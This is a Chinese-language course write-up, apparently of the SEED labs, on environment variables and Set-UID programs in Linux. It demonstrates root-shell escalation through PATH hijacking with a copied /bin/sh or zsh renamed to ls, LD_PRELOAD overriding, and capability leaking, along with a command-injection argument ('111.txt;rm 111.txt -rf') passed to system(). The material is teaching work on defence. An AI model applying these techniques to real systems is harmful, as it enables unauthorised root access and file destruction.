軟體安全live第四期:軟體安全-環境變數攻防

本期live互動、答疑相關問題歸檔:

【軟體安全】環境變數與Set-UID攻防?

www.zhihu.com圖標


Environment Variable and Set-UID Program Lab

Manipulating environment variables

列印環境變數:

pirntenv env

設置/取消設置環境變數:

export unset

Inheriting environment variables from parents

如果進程需要啟動另一個程序的可執行文件,它先fork創建一個自身的副本,

然後由該副本調用exec系統調用,用其他程序覆蓋自身。當一個進程調用fork時,它被認為是父進程,新創建的進程稱作子進程。fork操作會為子進程創建一個單獨的地址空間,子進程擁有父進程所有內存段的副本。

include <unistd.h>#include <stdio.h>#include <stdlib.h>extern char** environ;void printenv(){ int i = 0; while(environ[i] != NULL) printf("%s
",environ[i++]);}void main(){ pid_t childPid; switch(childPid = fork()) { case 0: printenv(); exit(0); default: //printenv(); exit(0);}}

先後取消父進程和子進程的注釋,將列印的文本信息保存,

然後對比父進程和子進程的環境變數,結果完全一樣。

Environment varibales and execve()

int execve(const char* filename,char* const argv[],char* const envp[]);

execve()用來執行參數filename字元串所代表的文件路徑,

參數2是利用指針數組來傳遞給執行文件,並且需要以空指針結束,

參數3是傳遞給執行文件的新環境變數數組。

成功不會返回,失敗返回-1。

include <stdio.h>#include <stdlib.h>#include <unistd.h>extern char** environ;int main(){ char* argv[2]; argv[0] = "/usr/bin/env"; argv[1] = NULL; execve("/usr/bin/env",argv,NULL); //execve("/usr/bin/env",argv,environ); return 0;}

當execve()函數的參數3:新的環境變數數組,設置為NULL的時候,列印信息為空。

當設置為environ時,列印出環境變數信息。

Environment variables and system()

int system(const char* string);

system()會調用fork()產生子進程,由子進程來調用/bin/sh來執行參數string字元串所代表的命令,

此命令執行完成後隨即返回原調用的進程。

如果執行成功則返回子shell的終止狀態。

如果fork()失敗,返回-1。

如果exec()失敗,表示不能執行shell,返回值相當於shell執行了exit。

#include <stdio.h>#include <stdlib.h>int main(){ system("/usr/bin/env"); return 0;}

編譯運行,結果列印環境變數。

Environment variables and Set-UID Programs

#include <stdio.h>#include <stdlib.h>extern char **environ;void main(){ int i = 0; while (environ[i] != NULL) printf("%s
", environ[i++]);}

root用戶編譯,設置Set-UID。

普通用戶下,使用export設置環境變數:

  • PATH
  • LD_LIBRARY_PATH

    運行上面的程序,發現環境變數發生變化

    PATH變成剛剛設置的

    LD_LIBRARY_PATH沒有找到

The PATH Environment variable and Set-UID Programs

int main(){ system("ls"); return 0;}

將/bin/sh複製到程序當前目錄,命令為ls。

cp /bin/sh ~/ls

設置環境變數PATH=~:$PATH。

root用戶編譯上面的程序,設置Set-UID。

普通用戶運行,結果顯示獲取到root許可權。

The LD_PRELOAD environment variable and Set-UID Programs

#include <stdio.h>void sleep(int s){ printf("i am not sleeping
");}gcc -fPIC -g -c mylib.cgcc -shared -o libmylib.so.1.0.1 mylib.o -lcexport LD_PRELOAD=./libmylib.so.1.0.1/* myprog.c */int main(){ sleep(1); return 0;}

  • myprog普通程序,普通用戶運行

    //輸出 i am not sleeping
  • myprog Set-UID root程序,普通用戶運行

    //輸出空
  • myprog Set-UID root程序,設置root用戶環境變數LD_PRELOAD,root用戶運行

    //輸出 i am not sleeping
  • myprog普通用戶1程序,設置普通用戶2環境變數LD_PRELOAD,普通用戶2運行

    //輸出空

只有用戶自己創建的程序自己去運行,才會使用LD_PRELOAD環境變數,

否則忽略LD_PRELOAD環境變數。

Invoking external programs using system() versus execve()

/* bob.c */#include <string.h>#include <stdio.h>#include <stdlib.h>int main(int argc, char *argv[]){ char *v[3]; char *command; if(argc < 2) { printf("Please type a file name.
"); return 1;} v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL; command = malloc(strlen(v[0]) + strlen(v[1]) + 2); sprintf(command, "%s %s", v[0], v[1]); // Use only one of the followings. system(command); // execve(v[0], v, NULL); return 0 ;}

  • system(command);

    bob可以實現刪除指定文件。

    root用戶,編譯上述程序,設置Set-UID。

    攻擊者bob可以通過:

    ./bob 「111.txt;rm 111.txt -rf」

    實現將沒有寫許可權的的文件111.txt刪除。

    因為system()調用了shell,由於本程序設置了Set-UID,

    將會以root身份去執行字元串。
  • execve(v[0],v,NULL);

    無法刪除指定文件。

    ./bob 「111.txt;rm 111.txt -rf」

    execve()將」111.txt;rm 111.txt -rf」當作文件名,

    自然顯示找不到文件。

Capability Leaking

#include <stdio.h>#include <stdlib.h>#include <fcntl.h>void main(){ int fd; /* Assume that /etc/zzz is an important system file, * and it is owned by root with permission 0644. * Before running this program, you should creat * the file /etc/zzz first. */ fd = open("/etc/zzz", O_RDWR | O_APPEND); if (fd == -1) { printf("Cannot open /etc/zzz
"); exit(0); } /* Simulate the tasks conducted by the program */ sleep(1); /* After the task, the root privileges are no longer needed, it』s time to relinquish the root privileges permanently. */ setuid(getuid()); /* getuid() returns the real uid */ if (fork()) { /* In the parent process */ close (fd); exit(0); } else { /* in the child process */ /* Now, assume that the child process is compromised, malicious attackers have injected the following statements into this process */ write (fd, "Malicious Data
", 15); close (fd); }}

root用戶編譯,設置Set-UID,普通用戶運行。

結果成功寫入:「Malicious Data

由於文件fd是root許可權打開的,導致降權不徹底。

需要遵循最小許可權原則,用完就釋放許可權。

Set-UID Program Vulnerability Lab

實驗目的:

理解掌握為什麼需要Set-UID程序

理解掌握潛在的安全隱患

問題1

  • 當我們在普通用戶下輸入su時,會發生什麼?

    需要我們輸入密碼,進入root賬戶
  • 當我們把su程序複製到另一個目錄下的時候,運行該目錄下的su passwd會發生什麼?

    輸入密碼無效,因為複製的程序丟失了Set-UID

問題2

  • root用戶登錄,複製/bin/zsh到/tmp,設置s位,切換到普通用戶下,運行/tmp/zsh,你會獲得root許可權嗎?

    進入zsh,普通用戶可以獲得root許可權
  • 複製/bin/bash試一試?

    進入普通bash,bash程序中有Set-UID保護機制

問題3

更改/bin/sh符號鏈接指向/bin/zsh?

$ suPassword: (enter root password)cd /binrm shln -s zsh sh

問題4

PATH環境變數

  • 在問題3的基礎上

    普通用戶下設置環境PATH=/tmp:$PATH

    root用戶將zsh複製到/tmp,設置s位,重命名為ls

#include <unistd.h>#include <stdlib.h>int main(){ system("ls"); return 0;}

普通用戶編譯運行上面的程序,即可獲得root shell。

  • 如果sh軟鏈接指向的是bash,結果會怎樣?

    只能獲得普通shell

問題5

system()和execve()

背景:BOB是一個代碼審計員,他需要看一家公司的全部文件,但是不能修改任何文件。

為此,系統管理員寫了一個Set-UID的小程序,並且給了BOB可執行許可權。

這個小程序允許BOB輸入一個文件名,讓運行/bin/cat查看文件內容。

小程序運行期間,具有root許可權,因此可以查看任何文件內容。

又因為這個小程序沒有寫許可權,因為BOB不能修改任何文件。

#include <string.h>#include <stdio.h>#include <stdlib.h>int main(int argc,char* argv[]){ char* v[3]; if(argc <2) { pirntf("Please type a file name.
"); return 1; }}v[0] = "/bin/cat";v[1] = argv[1];v[2] = 0;int q = 0;if(q ==0){ char* command = malloc(strlen(v[0])+strlen(v[1])+2); sprintf(command,"%s %s",v[0],v[1]); system(command);}else{ execve(v[0],v,0);}return 0;

  • q = 0 如果你是BOB,你可以刪除文件嗎?

    能。程序使用system()函數,調用/bin/sh程序,修改環境變數。
  • q = 1 如果你是BOB,你可以刪除文件嗎?

    不能。

推薦閱讀:

被別的網站攻擊,首頁強制跳轉到另外網站去了,怎麼解決,求詳情?
如何看待「神話——信息安全人才顛覆計劃」?
如何發展成一名黑客?
怎麼評價360天眼這款產品?

TAG:黑客Hacker | 信息安全 | 網路安全 |